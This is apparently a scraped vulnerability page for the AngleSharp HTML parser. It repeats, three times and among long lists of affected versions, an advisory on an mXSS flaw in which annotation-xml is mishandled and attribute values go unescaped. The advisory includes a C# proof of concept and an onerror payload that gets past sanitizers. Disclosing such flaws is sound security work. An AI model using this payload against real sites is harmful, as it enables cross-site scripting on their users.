            0.14.0-alpha-788


            0.14.0-alpha-789


            0.14.0-alpha-790


            0.14.0-alpha-793


            0.14.0-alpha-794


            0.14.0-alpha-796


            0.14.0-alpha-798


            0.14.0-alpha-801


            0.14.0-alpha-802


            0.14.0-alpha-803


            0.14.0-alpha-805


            0.14.0-alpha-809


            0.14.0-alpha-811


            0.14.0-alpha-813


            0.14.0-alpha-817


            0.14.0-alpha-818


            0.15.0


            0.15.0-alpha-14


            0.16.0


            0.16.0-alpha-72


            0.16.0-alpha-75


            0.16.0-alpha-76


            0.16.0-alpha-77


            0.16.0-alpha-78


            0.16.0-alpha-79


            0.16.0-alpha-80


            0.16.0-alpha-84


            0.16.0-alpha-85


            0.16.0-alpha-86


            0.16.1


            0.16.1-alpha-104


            0.16.1-alpha-106


            0.16.1-alpha-108


            0.16.1-alpha-110


            0.16.1-alpha-112


            0.16.1-alpha-114


            0.16.1-alpha-120


            0.16.1-alpha-125


            0.16.1-alpha-127


            0.16.1-alpha-133


            0.16.1-alpha-144


            0.16.1-alpha-145


            0.16.1-alpha-148


            0.16.1-alpha-152


            0.16.1-alpha-153


            0.16.1-alpha-155


            0.16.1-alpha-167


            0.16.1-alpha-168


            0.16.1-alpha-91


            0.16.1-alpha-96


            0.16.1-alpha-99


            0.17.0


            0.17.0-alpha-169


            0.17.0-alpha-170


            0.17.0-alpha-171


            0.17.0-alpha-172


            0.17.0-alpha-173


            0.17.0-alpha-174


            0.17.0-alpha-177


            0.17.1


            0.17.1-alpha-178


            0.17.1-alpha-179


            0.2.0


            0.2.1


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.3.7


            0.4.0


            0.5.0


            0.5.1


            0.6.0


            0.6.1


            0.7.0


            0.8.0


            0.8.1


            0.8.2


            0.8.3


            0.8.4


            0.8.4.1


            0.8.5


            0.8.6


            0.8.7


            0.8.7.1


            0.8.8


            0.8.9


            0.9.0


            0.9.1


            0.9.10


            0.9.11


            0.9.2


            0.9.3


            0.9.4


            0.9.5


            0.9.6


            0.9.7


            0.9.8


            0.9.8.1


            0.9.9


            0.9.9.1


            0.9.9.2


            1.0.0


            1.0.0-alpha-1


            1.0.0-alpha-10


            1.0.0-alpha-12


            1.0.0-alpha-17


            1.0.0-alpha-20


            1.0.0-alpha-21


            1.0.0-alpha-229


            1.0.0-alpha-231


            1.0.0-alpha-25


            1.0.0-alpha-27


            1.0.0-alpha-31


            1.0.0-alpha-33


            1.0.0-alpha-36


            1.0.0-alpha-38


            1.0.0-alpha-4


            1.0.0-alpha-41


            1.0.0-alpha-47


            1.0.0-alpha-49


            1.0.0-alpha-59


            1.0.0-alpha-63


            1.0.0-alpha-64


            1.0.0-alpha-65


            1.0.0-alpha-68


            1.0.0-alpha-7


            1.0.0-alpha-70


            1.0.0-alpha-71


            1.0.0-alpha-819


            1.0.0-alpha-822


            1.0.0-alpha-825


            1.0.0-alpha-827


            1.0.0-alpha-842


            1.0.0-alpha-844


            1.0.0-ci-228


            1.0.1


            1.0.1-alpha-235


            1.0.1-alpha-241


            1.0.1-alpha-242


            1.0.1-alpha-243


            1.0.1-alpha-248


            1.0.2


            1.0.2-alpha-249


            1.0.2-alpha-250


            1.0.2-alpha-251


            1.0.2-alpha-255


            1.0.2-alpha-257


            1.0.2-alpha-258


            1.0.2-alpha-261


            1.0.2-alpha-273


            1.0.2-alpha-274


            1.0.2-alpha-275


            1.0.2-alpha-276


            1.0.2-alpha-277


            1.0.2-alpha-278


            1.0.2-alpha-281


            1.0.2-alpha-282


            1.0.2-alpha-283


            1.0.2-alpha-284


            1.0.3


            1.0.3-alpha-287


            1.0.4


            1.0.4-alpha-289


            1.0.4-alpha-290


            1.0.4-alpha-298


            1.0.4-alpha-300


            1.0.4-alpha-301


            1.0.4-alpha-307


            1.0.4-alpha-311


            1.0.4-alpha-314


            1.0.4-alpha-316


            1.0.5


            1.0.5-alpha-317


            1.0.6


            1.0.6-alpha-321


            1.0.6-alpha-325


            1.0.6-alpha-328


            1.0.6-alpha-330


            1.0.6-alpha-331


            1.0.6-alpha-339


            1.0.6-alpha-341


            1.0.7


            1.0.7-alpha-342


            1.1.0


            1.1.0-alpha-374


            1.1.0-alpha-375


            1.1.0-alpha-376


            1.1.0-alpha-377


            1.1.0-alpha-378


            1.1.0-alpha-379


            1.1.1


            1.1.2


            1.2.0


            1.3.0


            1.3.1


            1.4.0

Fixed in


          1.5.0

References

Updated Jul 17, 2026 · Source: OSV.dev

Nov 09, 2025

1.3.1 patch

1 CVE

CVE-2026-54570 GHSA-pgww-w46g-26qg Jul 17, 2026

AngleSharp HTML5 Spec Compliance: mXSS via annotation-xml HTML Integration Point Bypass

6.9 / 10

Medium

Network High None Required Changed Low High None

Summary

The HTML specification requires that a MathML <annotation-xml> element with encoding="text/html" or encoding="application/xhtml+xml" is treated as an HTML integration point. Content inside it must be parsed as HTML, not MathML.

AngleSharp does not implement this correctly. As a result, the parser produces a DOM tree that differs from what a browser will build (different namespaces if encoding="text/html" is not treated) when given the same serialized output. Two bugs combine to make this exploitable:

Missing HtmlTip flag: MathAnnotationXmlElement is never assigned NodeFlags.HtmlTip based on its encoding attribute, so the Consume() dispatch always routes tokens to Foreign() instead of Home() (HTML mode).
Unescaped < > in attribute values: HtmlMarkupFormatter.WriteAttributeValue() does not escape < or > characters, only & and ". This allows injected markup to break out of attribute values on re-parse. See Escape "<" and ">" in attributes when serializing HTML #6235

Details

In MathAnnotationXmlElement (AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs):

// Current — HtmlTip is never set
: base(owner, TagNames.AnnotationXml, prefix, NodeFlags.Special | NodeFlags.Scoped)

Because HtmlTip is absent, the token dispatch in Consume() always sends tokens to Foreign() when inside annotation-xml, regardless of the encoding attribute. The compensating check in ForeignNormalTag() only covers tags in AllForeignExceptions and is entirely bypassed during fragment parsing (innerHTML setter) due to an if (!IsFragmentCase) guard.

In HtmlMarkupFormatter.WriteAttributeValue() (AngleSharp/Html/HtmlMarkupFormatter.cs):

// Escapes & " and \u00A0, but NOT < or >
case Symbols.Ampersand:    stringBuilder.Append("&amp;");  break;
case Symbols.NoBreakSpace: stringBuilder.Append("&nbsp;"); break;
case Symbols.DoubleQuote:  stringBuilder.Append("&quot;"); break;
default:                   stringBuilder.Append(value[i]); break; // < and > pass through raw

PoC

The following program demonstrates that AngleSharp’s parser misses the injected <img> element. A sanitizer walking this DOM would see nothing dangerous, yet the serialized output re-parses in a browser as a live <img onerror> trigger.

using System;
using System.Linq;
using AngleSharp.Html.Parser;
			
public class Program
{
    static readonly string Payload1 =
        "<math>" +
        "<annotation-xml encoding=\"text/html\">" +
        "<title><a encoding=\"</title><img src=x onerror=alert()>\">" +
        "</annotation-xml></math>";

    public static void Main()
    {
        var parser = new HtmlParser();

        Check(parser, Payload1, "IMG",
            "AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)",
            "AngleSharp found <img> – SAFE");
    }

    static void Check(HtmlParser parser, string html, string tag,
                      string failMsg, string passMsg)
    {
        var doc     = parser.ParseDocument(html);
        var tags    = doc.All.Select(e => e.TagName).ToHashSet();
        var found   = tags.Contains(tag);

        Console.WriteLine(found ? passMsg : failMsg);
        Console.WriteLine("Serialized output:");
        Console.WriteLine(doc.DocumentElement.OuterHtml);
    }
}

Output:

AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)
Serialized output:
<html><head></head><body><math><annotation-xml encoding="text/html"><title><a encoding="</title><img src=x onerror=alert()>"></a></title></annotation-xml></math></body></html>

The title tag may be swapped out for style and other RCDATA elements.

When a browser receives this string and parses annotation-xml encoding="text/html" as an HTML integration point, the </title> closes the title element and the <img> fires its onerror handler.

Impact

Implemented HTML sanitizers that depend and trust AngleSharp's ability to parse HTML correctly may be bypassable, as AngleSharp fails to acknowledge certain vectors under certain conditions.

This reduces AngleSharp's credibility as a conformant HTML parser.

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.12.1


          0.13.0


          0.13.0-alpha-733


          0.13.0-alpha-734


          0.13.0-alpha-735


          0.13.0-alpha-737


          0.13.0-alpha-739


          0.13.0-alpha-742

+ 227 more


            0.13.0-alpha-743


            0.13.0-alpha-744


            0.13.0-alpha-745


            0.13.0-alpha-748


            0.13.0-alpha-754


            0.13.0-alpha-756


            0.13.0-alpha-758


            0.13.0-alpha-760


            0.13.0-alpha-763


            0.13.0-alpha-764


            0.13.0-alpha-766


            0.13.0-alpha-768


            0.13.0-alpha-771


            0.13.0-alpha-775


            0.13.0-alpha-782


            0.14.0


            0.14.0-alpha-783


            0.14.0-alpha-784


            0.14.0-alpha-787


            0.14.0-alpha-788


            0.14.0-alpha-789


            0.14.0-alpha-790


            0.14.0-alpha-793


            0.14.0-alpha-794


            0.14.0-alpha-796


            0.14.0-alpha-798


            0.14.0-alpha-801


            0.14.0-alpha-802


            0.14.0-alpha-803


            0.14.0-alpha-805


            0.14.0-alpha-809


            0.14.0-alpha-811


            0.14.0-alpha-813


            0.14.0-alpha-817


            0.14.0-alpha-818


            0.15.0


            0.15.0-alpha-14


            0.16.0


            0.16.0-alpha-72


            0.16.0-alpha-75


            0.16.0-alpha-76


            0.16.0-alpha-77


            0.16.0-alpha-78


            0.16.0-alpha-79


            0.16.0-alpha-80


            0.16.0-alpha-84


            0.16.0-alpha-85


            0.16.0-alpha-86


            0.16.1


            0.16.1-alpha-104


            0.16.1-alpha-106


            0.16.1-alpha-108


            0.16.1-alpha-110


            0.16.1-alpha-112


            0.16.1-alpha-114


            0.16.1-alpha-120


            0.16.1-alpha-125


            0.16.1-alpha-127


            0.16.1-alpha-133


            0.16.1-alpha-144


            0.16.1-alpha-145


            0.16.1-alpha-148


            0.16.1-alpha-152


            0.16.1-alpha-153


            0.16.1-alpha-155


            0.16.1-alpha-167


            0.16.1-alpha-168


            0.16.1-alpha-91


            0.16.1-alpha-96


            0.16.1-alpha-99


            0.17.0


            0.17.0-alpha-169


            0.17.0-alpha-170


            0.17.0-alpha-171


            0.17.0-alpha-172


            0.17.0-alpha-173


            0.17.0-alpha-174


            0.17.0-alpha-177


            0.17.1


            0.17.1-alpha-178


            0.17.1-alpha-179


            0.2.0


            0.2.1


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.3.7


            0.4.0


            0.5.0


            0.5.1


            0.6.0


            0.6.1


            0.7.0


            0.8.0


            0.8.1


            0.8.2


            0.8.3


            0.8.4


            0.8.4.1


            0.8.5


            0.8.6


            0.8.7


            0.8.7.1


            0.8.8


            0.8.9


            0.9.0


            0.9.1


            0.9.10


            0.9.11


            0.9.2


            0.9.3


            0.9.4


            0.9.5


            0.9.6


            0.9.7


            0.9.8


            0.9.8.1


            0.9.9


            0.9.9.1


            0.9.9.2


            1.0.0


            1.0.0-alpha-1


            1.0.0-alpha-10


            1.0.0-alpha-12


            1.0.0-alpha-17


            1.0.0-alpha-20


            1.0.0-alpha-21


            1.0.0-alpha-229


            1.0.0-alpha-231


            1.0.0-alpha-25


            1.0.0-alpha-27


            1.0.0-alpha-31


            1.0.0-alpha-33


            1.0.0-alpha-36


            1.0.0-alpha-38


            1.0.0-alpha-4


            1.0.0-alpha-41


            1.0.0-alpha-47


            1.0.0-alpha-49


            1.0.0-alpha-59


            1.0.0-alpha-63


            1.0.0-alpha-64


            1.0.0-alpha-65


            1.0.0-alpha-68


            1.0.0-alpha-7


            1.0.0-alpha-70


            1.0.0-alpha-71


            1.0.0-alpha-819


            1.0.0-alpha-822


            1.0.0-alpha-825


            1.0.0-alpha-827


            1.0.0-alpha-842


            1.0.0-alpha-844


            1.0.0-ci-228


            1.0.1


            1.0.1-alpha-235


            1.0.1-alpha-241


            1.0.1-alpha-242


            1.0.1-alpha-243


            1.0.1-alpha-248


            1.0.2


            1.0.2-alpha-249


            1.0.2-alpha-250


            1.0.2-alpha-251


            1.0.2-alpha-255


            1.0.2-alpha-257


            1.0.2-alpha-258


            1.0.2-alpha-261


            1.0.2-alpha-273


            1.0.2-alpha-274


            1.0.2-alpha-275


            1.0.2-alpha-276


            1.0.2-alpha-277


            1.0.2-alpha-278


            1.0.2-alpha-281


            1.0.2-alpha-282


            1.0.2-alpha-283


            1.0.2-alpha-284


            1.0.3


            1.0.3-alpha-287


            1.0.4


            1.0.4-alpha-289


            1.0.4-alpha-290


            1.0.4-alpha-298


            1.0.4-alpha-300


            1.0.4-alpha-301


            1.0.4-alpha-307


            1.0.4-alpha-311


            1.0.4-alpha-314


            1.0.4-alpha-316


            1.0.5


            1.0.5-alpha-317


            1.0.6


            1.0.6-alpha-321


            1.0.6-alpha-325


            1.0.6-alpha-328


            1.0.6-alpha-330


            1.0.6-alpha-331


            1.0.6-alpha-339


            1.0.6-alpha-341


            1.0.7


            1.0.7-alpha-342


            1.1.0


            1.1.0-alpha-374


            1.1.0-alpha-375


            1.1.0-alpha-376


            1.1.0-alpha-377


            1.1.0-alpha-378


            1.1.0-alpha-379


            1.1.1


            1.1.2


            1.2.0


            1.3.0


            1.3.1


            1.4.0

Fixed in


          1.5.0

References

Updated Jul 17, 2026 · Source: OSV.dev

Nov 08, 2025

1.3.1-beta.491 pre

1 CVE

CVE-2026-54570 GHSA-pgww-w46g-26qg Jul 17, 2026

AngleSharp HTML5 Spec Compliance: mXSS via annotation-xml HTML Integration Point Bypass

6.9 / 10

Medium

Network High None Required Changed Low High None

Summary

The HTML specification requires that a MathML <annotation-xml> element with encoding="text/html" or encoding="application/xhtml+xml" is treated as an HTML integration point. Content inside it must be parsed as HTML, not MathML.

AngleSharp does not implement this correctly. As a result, the parser produces a DOM tree that differs from what a browser will build (different namespaces if encoding="text/html" is not treated) when given the same serialized output. Two bugs combine to make this exploitable:

Missing HtmlTip flag: MathAnnotationXmlElement is never assigned NodeFlags.HtmlTip based on its encoding attribute, so the Consume() dispatch always routes tokens to Foreign() instead of Home() (HTML mode).
Unescaped < > in attribute values: HtmlMarkupFormatter.WriteAttributeValue() does not escape < or > characters, only & and ". This allows injected markup to break out of attribute values on re-parse. See Escape "<" and ">" in attributes when serializing HTML #6235

Details

In MathAnnotationXmlElement (AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs):

// Current — HtmlTip is never set
: base(owner, TagNames.AnnotationXml, prefix, NodeFlags.Special | NodeFlags.Scoped)

Because HtmlTip is absent, the token dispatch in Consume() always sends tokens to Foreign() when inside annotation-xml, regardless of the encoding attribute. The compensating check in ForeignNormalTag() only covers tags in AllForeignExceptions and is entirely bypassed during fragment parsing (innerHTML setter) due to an if (!IsFragmentCase) guard.

In HtmlMarkupFormatter.WriteAttributeValue() (AngleSharp/Html/HtmlMarkupFormatter.cs):

// Escapes & " and \u00A0, but NOT < or >
case Symbols.Ampersand:    stringBuilder.Append("&amp;");  break;
case Symbols.NoBreakSpace: stringBuilder.Append("&nbsp;"); break;
case Symbols.DoubleQuote:  stringBuilder.Append("&quot;"); break;
default:                   stringBuilder.Append(value[i]); break; // < and > pass through raw

PoC

The following program demonstrates that AngleSharp’s parser misses the injected <img> element. A sanitizer walking this DOM would see nothing dangerous, yet the serialized output re-parses in a browser as a live <img onerror> trigger.

using System;
using System.Linq;
using AngleSharp.Html.Parser;
			
public class Program
{
    static readonly string Payload1 =
        "<math>" +
        "<annotation-xml encoding=\"text/html\">" +
        "<title><a encoding=\"</title><img src=x onerror=alert()>\">" +
        "</annotation-xml></math>";

    public static void Main()
    {
        var parser = new HtmlParser();

        Check(parser, Payload1, "IMG",
            "AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)",
            "AngleSharp found <img> – SAFE");
    }

    static void Check(HtmlParser parser, string html, string tag,
                      string failMsg, string passMsg)
    {
        var doc     = parser.ParseDocument(html);
        var tags    = doc.All.Select(e => e.TagName).ToHashSet();
        var found   = tags.Contains(tag);

        Console.WriteLine(found ? passMsg : failMsg);
        Console.WriteLine("Serialized output:");
        Console.WriteLine(doc.DocumentElement.OuterHtml);
    }
}

Output:

AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)
Serialized output:
<html><head></head><body><math><annotation-xml encoding="text/html"><title><a encoding="</title><img src=x onerror=alert()>"></a></title></annotation-xml></math></body></html>

The title tag may be swapped out for style and other RCDATA elements.

When a browser receives this string and parses annotation-xml encoding="text/html" as an HTML integration point, the </title> closes the title element and the <img> fires its onerror handler.

Impact

Implemented HTML sanitizers that depend and trust AngleSharp's ability to parse HTML correctly may be bypassable, as AngleSharp fails to acknowledge certain vectors under certain conditions.

This reduces AngleSharp's credibility as a conformant HTML parser.

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.12.1


          0.13.0


          0.13.0-alpha-733


          0.13.0-alpha-734


          0.13.0-alpha-735


          0.13.0-alpha-737


          0.13.0-alpha-739


          0.13.0-alpha-742

+ 227 more


            0.13.0-alpha-743


            0.13.0-alpha-744


            0.13.0-alpha-745


            0.13.0-alpha-748


            0.13.0-alpha-754


            0.13.0-alpha-756


            0.13.0-alpha-758


            0.13.0-alpha-760


            0.13.0-alpha-763


            0.13.0-alpha-764


            0.13.0-alpha-766


            0.13.0-alpha-768


            0.13.0-alpha-771


            0.13.0-alpha-775


            0.13.0-alpha-782


            0.14.0


            0.14.0-alpha-783


            0.14.0-alpha-784


            0.14.0-alpha-787


            0.14.0-alpha-788


            0.14.0-alpha-789


            0.14.0-alpha-790


            0.14.0-alpha-793


            0.14.0-alpha-794


            0.14.0-alpha-796


            0.14.0-alpha-798


            0.14.0-alpha-801


            0.14.0-alpha-802


            0.14.0-alpha-803


            0.14.0-alpha-805


            0.14.0-alpha-809


            0.14.0-alpha-811


            0.14.0-alpha-813


            0.14.0-alpha-817


            0.14.0-alpha-818


            0.15.0


            0.15.0-alpha-14


            0.16.0


            0.16.0-alpha-72


            0.16.0-alpha-75


            0.16.0-alpha-76


            0.16.0-alpha-77


            0.16.0-alpha-78


            0.16.0-alpha-79


            0.16.0-alpha-80


            0.16.0-alpha-84


            0.16.0-alpha-85


            0.16.0-alpha-86


            0.16.1


            0.16.1-alpha-104


            0.16.1-alpha-106


            0.16.1-alpha-108


            0.16.1-alpha-110


            0.16.1-alpha-112


            0.16.1-alpha-114


            0.16.1-alpha-120


            0.16.1-alpha-125


            0.16.1-alpha-127


            0.16.1-alpha-133


            0.16.1-alpha-144


            0.16.1-alpha-145


            0.16.1-alpha-148


            0.16.1-alpha-152


            0.16.1-alpha-153


            0.16.1-alpha-155


            0.16.1-alpha-167


            0.16.1-alpha-168


            0.16.1-alpha-91


            0.16.1-alpha-96


            0.16.1-alpha-99


            0.17.0


            0.17.0-alpha-169


            0.17.0-alpha-170


            0.17.0-alpha-171


            0.17.0-alpha-172


            0.17.0-alpha-173


            0.17.0-alpha-174


            0.17.0-alpha-177


            0.17.1


            0.17.1-alpha-178


            0.17.1-alpha-179


            0.2.0


            0.2.1


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.3.7


            0.4.0


            0.5.0


            0.5.1


            0.6.0


            0.6.1


            0.7.0


            0.8.0


            0.8.1


            0.8.2


            0.8.3


            0.8.4


            0.8.4.1


            0.8.5


            0.8.6


            0.8.7


            0.8.7.1


            0.8.8


            0.8.9


            0.9.0


            0.9.1


            0.9.10


            0.9.11


            0.9.2


            0.9.3


            0.9.4


            0.9.5


            0.9.6


            0.9.7


            0.9.8


            0.9.8.1


            0.9.9


            0.9.9.1


            0.9.9.2


            1.0.0


            1.0.0-alpha-1


            1.0.0-alpha-10


            1.0.0-alpha-12


            1.0.0-alpha-17


            1.0.0-alpha-20


            1.0.0-alpha-21


            1.0.0-alpha-229


            1.0.0-alpha-231


            1.0.0-alpha-25


            1.0.0-alpha-27


            1.0.0-alpha-31


            1.0.0-alpha-33


            1.0.0-alpha-36


            1.0.0-alpha-38


            1.0.0-alpha-4


            1.0.0-alpha-41


            1.0.0-alpha-47


            1.0.0-alpha-49


            1.0.0-alpha-59


            1.0.0-alpha-63


            1.0.0-alpha-64


            1.0.0-alpha-65


            1.0.0-alpha-68


            1.0.0-alpha-7


            1.0.0-alpha-70


            1.0.0-alpha-71


            1.0.0-alpha-819


            1.0.0-alpha-822


            1.0.0-alpha-825


            1.0.0-alpha-827


            1.0.0-alpha-842


            1.0.0-alpha-844


            1.0.0-ci-228


            1.0.1


            1.0.1-alpha-235


            1.0.1-alpha-241


            1.0.1-alpha-242


            1.0.1-alpha-243


            1.0.1-alpha-248


            1.0.2


            1.0.2-alpha-249


            1.0.2-alpha-250


            1.0.2-alpha-251


            1.0.2-alpha-255


            1.0.2-alpha-257


            1.0.2-alpha-258


            1.0.2-alpha-261


            1.0.2-alpha-273


            1.0.2-alpha-274


            1.0.2-alpha-275


            1.0.2-alpha-276


            1.0.2-alpha-277


            1.0.2-alpha-278


            1.0.2-alpha-281


            1.0.2-alpha-282


            1.0.2-alpha-283


            1.0.2-alpha-284


            1.0.3


            1.0.3-alpha-287


            1.0.4


            1.0.4-alpha-289


            1.0.4-alpha-290


            1.0.4-alpha-298


            1.0.4-alpha-300


            1.0.4-alpha-301


            1.0.4-alpha-307


            1.0.4-alpha-311


            1.0.4-alpha-314


            1.0.4-alpha-316


            1.0.5


            1.0.5-alpha-317


            1.0.6


            1.0.6-alpha-321


            1.0.6-alpha-325


            1.0.6-alpha-328


            1.0.6-alpha-330


            1.0.6-alpha-331


            1.0.6-alpha-339


            1.0.6-alpha-341


            1.0.7


            1.0.7-alpha-342


            1.1.0


            1.1.0-alpha-374


            1.1.0-alpha-375


            1.1.0-alpha-376


            1.1.0-alpha-377


            1.1.0-alpha-378


            1.1.0-alpha-379


            1.1.1


            1.1.2


            1.2.0


            1.3.0


            1.3.1


            1.4.0

Fixed in


          1.5.0

References

Updated Jul 17, 2026 · Source: OSV.dev

Jul 22, 2025

1.3.1-beta.490 pre

1 CVE

CVE-2026-54570 GHSA-pgww-w46g-26qg Jul 17, 2026

AngleSharp HTML5 Spec Compliance: mXSS via annotation-xml HTML Integration Point Bypass

6.9 / 10

Medium

Network High None Required Changed Low High None

Summary

The HTML specification requires that a MathML <annotation-xml> element with encoding="text/html" or encoding="application/xhtml+xml" is treated as an HTML integration point. Content inside it must be parsed as HTML, not MathML.

AngleSharp does not implement this correctly. As a result, the parser produces a DOM tree that differs from what a browser will build (different namespaces if encoding="text/html" is not treated) when given the same serialized output. Two bugs combine to make this exploitable:

Missing HtmlTip flag: MathAnnotationXmlElement is never assigned NodeFlags.HtmlTip based on its encoding attribute, so the Consume() dispatch always routes tokens to Foreign() instead of Home() (HTML mode).
Unescaped < > in attribute values: HtmlMarkupFormatter.WriteAttributeValue() does not escape < or > characters, only & and ". This allows injected markup to break out of attribute values on re-parse. See Escape "<" and ">" in attributes when serializing HTML #6235

Details

In MathAnnotationXmlElement (AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs):

// Current — HtmlTip is never set
: base(owner, TagNames.AnnotationXml, prefix, NodeFlags.Special | NodeFlags.Scoped)

Because HtmlTip is absent, the token dispatch in Consume() always sends tokens to Foreign() when inside annotation-xml, regardless of the encoding attribute. The compensating check in ForeignNormalTag() only covers tags in AllForeignExceptions and is entirely bypassed during fragment parsing (innerHTML setter) due to an if (!IsFragmentCase) guard.

In HtmlMarkupFormatter.WriteAttributeValue() (AngleSharp/Html/HtmlMarkupFormatter.cs):

// Escapes & " and \u00A0, but NOT < or >
case Symbols.Ampersand:    stringBuilder.Append("&amp;");  break;
case Symbols.NoBreakSpace: stringBuilder.Append("&nbsp;"); break;
case Symbols.DoubleQuote:  stringBuilder.Append("&quot;"); break;
default:                   stringBuilder.Append(value[i]); break; // < and > pass through raw

PoC

The following program demonstrates that AngleSharp’s parser misses the injected <img> element. A sanitizer walking this DOM would see nothing dangerous, yet the serialized output re-parses in a browser as a live <img onerror> trigger.

using System;
using System.Linq;
using AngleSharp.Html.Parser;
			
public class Program
{
    static readonly string Payload1 =
        "<math>" +
        "<annotation-xml encoding=\"text/html\">" +
        "<title><a encoding=\"</title><img src=x onerror=alert()>\">" +
        "</annotation-xml></math>";

    public static void Main()
    {
        var parser = new HtmlParser();

        Check(parser, Payload1, "IMG",
            "AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)",
            "AngleSharp found <img> – SAFE");
    }

    static void Check(HtmlParser parser, string html, string tag,
                      string failMsg, string passMsg)
    {
        var doc     = parser.ParseDocument(html);
        var tags    = doc.All.Select(e => e.TagName).ToHashSet();
        var found   = tags.Contains(tag);

        Console.WriteLine(found ? passMsg : failMsg);
        Console.WriteLine("Serialized output:");
        Console.WriteLine(doc.DocumentElement.OuterHtml);
    }
}

Output:

AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)
Serialized output:
<html><head></head><body><math><annotation-xml encoding="text/html"><title><a encoding="</title><img src=x onerror=alert()>"></a></title></annotation-xml></math></body></html>

The title tag may be swapped out for style and other RCDATA elements.

When a browser receives this string and parses annotation-xml encoding="text/html" as an HTML integration point, the </title> closes the title element and the <img> fires its onerror handler.

Impact

Implemented HTML sanitizers that depend and trust AngleSharp's ability to parse HTML correctly may be bypassable, as AngleSharp fails to acknowledge certain vectors under certain conditions.

This reduces AngleSharp's credibility as a conformant HTML parser.

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.12.1


          0.13.0


          0.13.0-alpha-733


          0.13.0-alpha-734


          0.13.0-alpha-735


          0.13.0-alpha-737


          0.13.0-alpha-739


          0.13.0-alpha-742

+ 227 more


            0.13.0-alpha-743


            0.13.0-alpha-744


            0.13.0-alpha-745


            0.13.0-alpha-748


            0.13.0-alpha-754


            0.13.0-alpha-756


            0.13.0-alpha-758


            0.13.0-alpha-760


            0.13.0-alpha-763


            0.13.0-alpha-764


            0.13.0-alpha-766


            0.13.0-alpha-768


            0.13.0-alpha-771


            0.13.0-alpha-775


            0.13.0-alpha-782


            0.14.0


            0.14.0-alpha-783


            0.14.0-alpha-784


            0.14.0-alpha-787


            0.14.0-alpha-788


            0.14.0-alpha-789


            0.14.0-alpha-790


            0.14.0-alpha-793


            0.14.0-alpha-794


            0.14.0-alpha-796


            0.14.0-alpha-798


            0.14.0-alpha-801


            0.14.0-alpha-802


            0.14.0-alpha-803


            0.14.0-alpha-805


            0.14.0-alpha-809


            0.14.0-alpha-811


            0.14.0-alpha-813


            0.14.0-alpha-817


            0.14.0-alpha-818


            0.15.0


            0.15.0-alpha-14


            0.16.0


            0.16.0-alpha-72


            0.16.0-alpha-75


            0.16.0-alpha-76


            0.16.0-alpha-77


            0.16.0-alpha-78


            0.16.0-alpha-79


            0.16.0-alpha-80


            0.16.0-alpha-84


            0.16.0-alpha-85


            0.16.0-alpha-86


            0.16.1


            0.16.1-alpha-104


            0.16.1-alpha-106


            0.16.1-alpha-108


            0.16.1-alpha-110


            0.16.1-alpha-112


            0.16.1-alpha-114


            0.16.1-alpha-120


            0.16.1-alpha-125


            0.16.1-alpha-127


            0.16.1-alpha-133


            0.16.1-alpha-144


            0.16.1-alpha-145


            0.16.1-alpha-148


            0.16.1-alpha-152


            0.16.1-alpha-153


            0.16.1-alpha-155


            0.16.1-alpha-167


            0.16.1-alpha-168


            0.16.1-alpha-91


            0.16.1-alpha-96


            0.16.1-alpha-99


            0.17.0


            0.17.0-alpha-169


            0.17.0-alpha-170


            0.17.0-alpha-171


            0.17.0-alpha-172


            0.17.0-alpha-173


            0.17.0-alpha-174


            0.17.0-alpha-177


            0.17.1


            0.17.1-alpha-178


            0.17.1-alpha-179


            0.2.0


            0.2.1


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.3.7


            0.4.0


            0.5.0


            0.5.1


            0.6.0


            0.6.1


            0.7.0


            0.8.0


            0.8.1


            0.8.2


            0.8.3


            0.8.4


            0.8.4.1


            0.8.5


            0.8.6


            0.8.7


            0.8.7.1


            0.8.8


            0.8.9


            0.9.0


            0.9.1


            0.9.10


            0.9.11


            0.9.2


            0.9.3


            0.9.4


            0.9.5


            0.9.6


            0.9.7


            0.9.8


            0.9.8.1


            0.9.9


            0.9.9.1


            0.9.9.2


            1.0.0


            1.0.0-alpha-1


            1.0.0-alpha-10


            1.0.0-alpha-12


            1.0.0-alpha-17


            1.0.0-alpha-20


            1.0.0-alpha-21


            1.0.0-alpha-229


            1.0.0-alpha-231


            1.0.0-alpha-25


            1.0.0-alpha-27


            1.0.0-alpha-31


            1.0.0-alpha-33


            1.0.0-alpha-36


            1.0.0-alpha-38


            1.0.0-alpha-4


            1.0.0-alpha-41


            1.0.0-alpha-47


            1.0.0-alpha-49


            1.0.0-alpha-59


            1.0.0-alpha-63


            1.0.0-alpha-64


            1.0.0-alpha-65


            1.0.0-alpha-68


            1.0.0-alpha-7


            1.0.0-alpha-70


            1.0.0-alpha-71


            1.0.0-alpha-819


            1.0.0-alpha-822


            1.0.0-alpha-825


            1.0.0-alpha-827


            1.0.0-alpha-842


            1.0.0-alpha-844


            1.0.0-ci-228


            1.0.1


            1.0.1-alpha-235


            1.0.1-alpha-241


            1.0.1-alpha-242


            1.0.1-alpha-243


            1.0.1-alpha-248


            1.0.2


            1.0.2-alpha-249


            1.0.2-alpha-250


            1.0.2-alpha-251


            1.0.2-alpha-255


